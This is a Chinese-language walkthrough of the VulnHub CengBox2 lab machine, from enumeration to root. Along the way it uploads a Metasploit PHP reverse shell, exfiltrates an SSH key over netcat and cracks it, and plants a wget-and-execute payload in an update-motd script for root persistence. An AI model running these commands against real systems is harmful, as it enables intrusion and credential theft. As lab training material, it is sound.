VulnHub CengBox2靶機滲透

​本文首發於微信公衆號:VulnHub CengBox2靶機滲透,未經受權,禁止轉載。javascript


    
    
    
    
難度評級:☆☆☆☆官網地址:https://download.vulnhub.com/cengbox/CengBox2.ova天翼雲盤:https://cloud.189.cn/t/nq6r6jQVRZBz百度網盤:https://pan.baidu.com/s/1EMIZg3x2ebqOdRmif4O2Jg 提取碼:gt6g官網簡介:Ceng Company彷佛正在維護,但仍可能運行着某些業務滲透目標:獲取普通用戶以及root用戶權限本機地址:192.168.110.27靶機地址:192.168.110.30, 192.168.110.32

 

信息收集php

老規矩,仍是nmap開路。css

    
    
    
    
nmap 192.168.110.0/24

掃描結果顯示共開啓了3個端口,分別運行着FTP、SSH和HTTP服務。通常來講,漏洞出如今HTTP服務的可能性最大,首先看看網站有什麼敏感信息。html

顯示網站正在維護,源碼中也沒有提供任何有用的信息。那麼就須要使用dirb掃描網頁目錄了。java

    
    
    
    
dirb 192.168.110.30

只掃到了兩個頁面,index.html很明顯是剛纔訪問的主頁,而server-status是不可能有權限訪問的,也就是說,dirb沒有掃出有用信息。python

既然80端口找不到突破點,那麼看看FTP服務可不能夠匿名登陸。linux

    
    
    
    
ftp 192.168.110.30

能夠匿名登陸,查看一下ftp目錄下有什麼敏感文件。web

    
    
    
    
ls

有一個名爲note.txt的文件,無論三七二十一,先下載下來再說。shell

    
    
    
    
get note.txt

下載完成,查看文件內容。swift

文件內容提示Aaron用默認密碼初始化了Kevin的帳號,而且把站點轉移到了ceng-company.vm域下。猜想經過域名和IP訪問網站的相應結果不一樣。

修改hosts文件,把ceng-company.vm定向到192.168.110.30。

    
    
    
    
sudo vim /etc/hosts

接下來使用瀏覽器訪問ceng-company.vm看看是否有不一樣的返回結果。

很遺憾,仍是以前的頁面。再次使用dirb掃描看看。

依然沒有有用的信息,不過既然靶機做者給出了提示,那麼突破點就應該在網頁上。

考慮到ceng-company.vm是一級域名,而絕大多數網站都是經過二級域名訪問的,例如www.sogou.com、blog.csdn.net等。所以考慮在ceng-company.vm前加上前綴,組成二級域名,看網站是否有不一樣的響應。

    
    
    
    
vim /etc/hosts

這裏添加了www、bbs、login、admin和blog這幾個常見的前綴。通過測試,admin.ceng-company.vm會顯示禁止訪問,而其餘二級域名則顯示與ceng-company.vm同樣的結果。

admin.ceng-company.vm必定有貓膩,再次使用dirb掃描。

    
    
    
    
dirb http://admin.ceng-company.vm

此次的結果更慘,只掃到一個頁面。雖然沒有掃描出什麼結果,但admin.ceng-company必定是靶機的突破口,應該是dirb默認的字典不夠大才沒法掃描到有用的結果。

結合之前使用dirbuster須要一個小時才能掃描完成的經歷,將默認字典換成dirbuster的字典再次嘗試,因爲dirbuster的自帶的字典過於龐大,須要使用-w參數才能正常使用。

    
    
    
    
dirb http://admin.ceng-company.vm /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -w

功夫不負有心人,通過漫長的等待,終於發現了一個能夠訪問的目錄。

網頁端查看該目錄,發現是一個CMS。

點擊網頁的全部連接發現沒有有用的信息後,嘗試訪問login頁面。

因爲note.txt中給出了提示,Kevin的帳號是使用默認密碼初始化的,嘗試E-mail爲kevin@ceng-company.vm,密碼爲admin登陸。

登陸成功後網頁又跳轉到初始頁面,那麼就試試admin頁面。

查看頁面內容後發現Content -> File Manager能夠上傳文件。

 

經過這個頁面應該能夠上傳PHP木馬,接下來須要配合msf等工具生成PHP木馬,並獲取靶機的遠程shell。

 

漏洞利用

 

首先須要使用msf生成PHP木馬。

    
    
    
    
msfconsoleuse multi/script/web_deliveryset payload php/meterpreter/reverse_tcpset LHOST 192.168.110.27set target PHPrun

這幾條命令將會生成shell命令,複製eval部份內容保存成php腳本文件,而後上傳到靶機上。

 

顯示上傳成功,可是在網頁端並無查看到shell.sh,可能被服務器過濾了。接下來嘗試上傳到tmp目錄。

上傳成功,訪問admin.ceng-company.vm/gila/tmp/shell.php。

顯示禁止訪問,這應該與.htaccess文件有關,打開.htaccess,重命名爲.htaccess.bak。

闖大禍了,修改文件名以後全部的頁面都不可訪問,這下完全沒有辦法了。因爲沒有對靶機作備份,須要從新導入ova文件,靶機的IP更新爲192.168.110.32。

這裏的緣由是刪除了根目錄下的.htaccess,原本只須要刪除tmp下的.htaccess文件便可。

將其重命名爲.htaccess.bak。

而後再訪問admin.ceng-company.vm/gila/tmp/shell.php。

msf成功獲取靶機shell。

    
    
    
    
sessions l

 

    
    
    
    
sessions -i 1shell

將很差用的shell改成bash。

    
    
    
    
whereis python

系統中安裝了python2.7和python3.5。

    
    
    
    
python3.5 -c 'import pty; pty.spawn("/bin/bash")'

 

權限提高

切換到家目錄查看有哪些用戶。

    
    
    
    
cd /homedir

其中沒法進入mitnick目錄,能夠進入swartz目錄。

查看當前目錄下有沒有能夠利用的文件。

    
    
    
    
ls -l

查看文件內容。

    
    
    
    
cat runphp.sh

該文件的功能爲交互式運行php,查看是否能夠以swartz權限執行該腳本。

    
    
    
    
sudo -l

果真,是能夠免密碼以swartz權限執行runphp.sh的。

    
    
    
    
sudo -u swartz ./runphp.sh

須要注意參數,./runphp.sh和/home/swartz/runphp.sh均可以,可是不能直接使用文件名,不然仍是須要輸入密碼。

接下來使用交互式php獲取swartz的shell。

    
    
    
    
pcntl_exec('/bin/bash');

再次嘗試進入mitnick家目錄。

成功進入,查看該目錄下有無提示。

    
    
    
    
ls -la

有一個名爲user.txt的文件,可是沒有任何權限,很明顯,這是在提示須要提權到mitnick用戶才能進入下一步。

查找一下有什麼文件能夠以mitnick或root權限運行。

    
    
    
    
sudo -l

很遺憾,須要密碼。這時候注意到mitnick家目錄下有.ssh文件夾,進入文件夾查看。

查看id_rsa。

接下來嘗試使用John the Rapper暴力破解密碼。

    
    
    
    
nc -lvvp 31337 < id_rsanc 192.168.110.32 31337 > mitnick.key

將mitnick.key轉換成john可識別的文件。

    
    
    
    
/usr/share/john/ssh2john.py mitnick.key > mitnick.johncat mitnick.john

使用John the Rapper暴力破解。

    
    
    
    
locate rockyou.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt mitnick.john

幾秒鐘就將密碼爆破出來了。接着使用mitnick.key登陸靶機。

    
    
    
    
ssh -i mitnick.key mitnick@ceng-company.vm

沒法登陸,緣由是mitnick.key權限爲644,須要改爲600才能登陸。

    
    
    
    
chmod 600 mitnick.keyssh -i mitnick.key mitnick@ceng-company.vm

查看user.txt

    
    
    
    
cat user.txt

第一個flag已經拿到。如今須要提權到root,首先查找有哪些能夠利用的文件。

    
    
    
    
find / -type f -perm -g+rwx 2>/dev/null

update-motd.d文件夾下的腳本會在用戶經過SSH登陸時由root運行,主要的做用是在登陸時顯示消息。既然有寫權限,那麼進行反彈shell。

使用msf生成反彈shell腳本。

    
    
    
    
use multi/script/web_deliveryset payload linux/x86/shell_reverse_tcpset LHOST 192.168.110.27set target Linuxrun

執行以後將會生成一個wget命令。

將該命令寫進腳本並設置可執行權限。

    
    
    
    
  1. echo "wget -qO gA5sN4z7 --no-check-certificate http://192.168.110.27:8080/kVEbfSR4mAORkbG; chmod +x gA5sN4z7; ./gA5sN4z7& disown" > rootShell.sh
  2. chmod 777 rootShell.sh

最後將rootShell.sh寫進00-header。

    
    
    
    
echo "sh /home/mitnick/rootShell.sh" >> /etc/update-motd.d/00-header

註銷SSH會話,從新鏈接。

    
    
    
    
exitssh -i mitnick.key mitnick@192.168.110.32

此時msf已經成功獲取shell。

    
    
    
    
sessions -lsessions -i 1

檢查權限,切換成bash。

    
    
    
    
idpython3.5 -c 'import pty; pty.spawn("/bin/bash")'

查找flag。

    
    
    
    
cd /rootlscat root.txt

至此,對靶機的滲透已經所有完成。

相關文章
相關標籤/搜索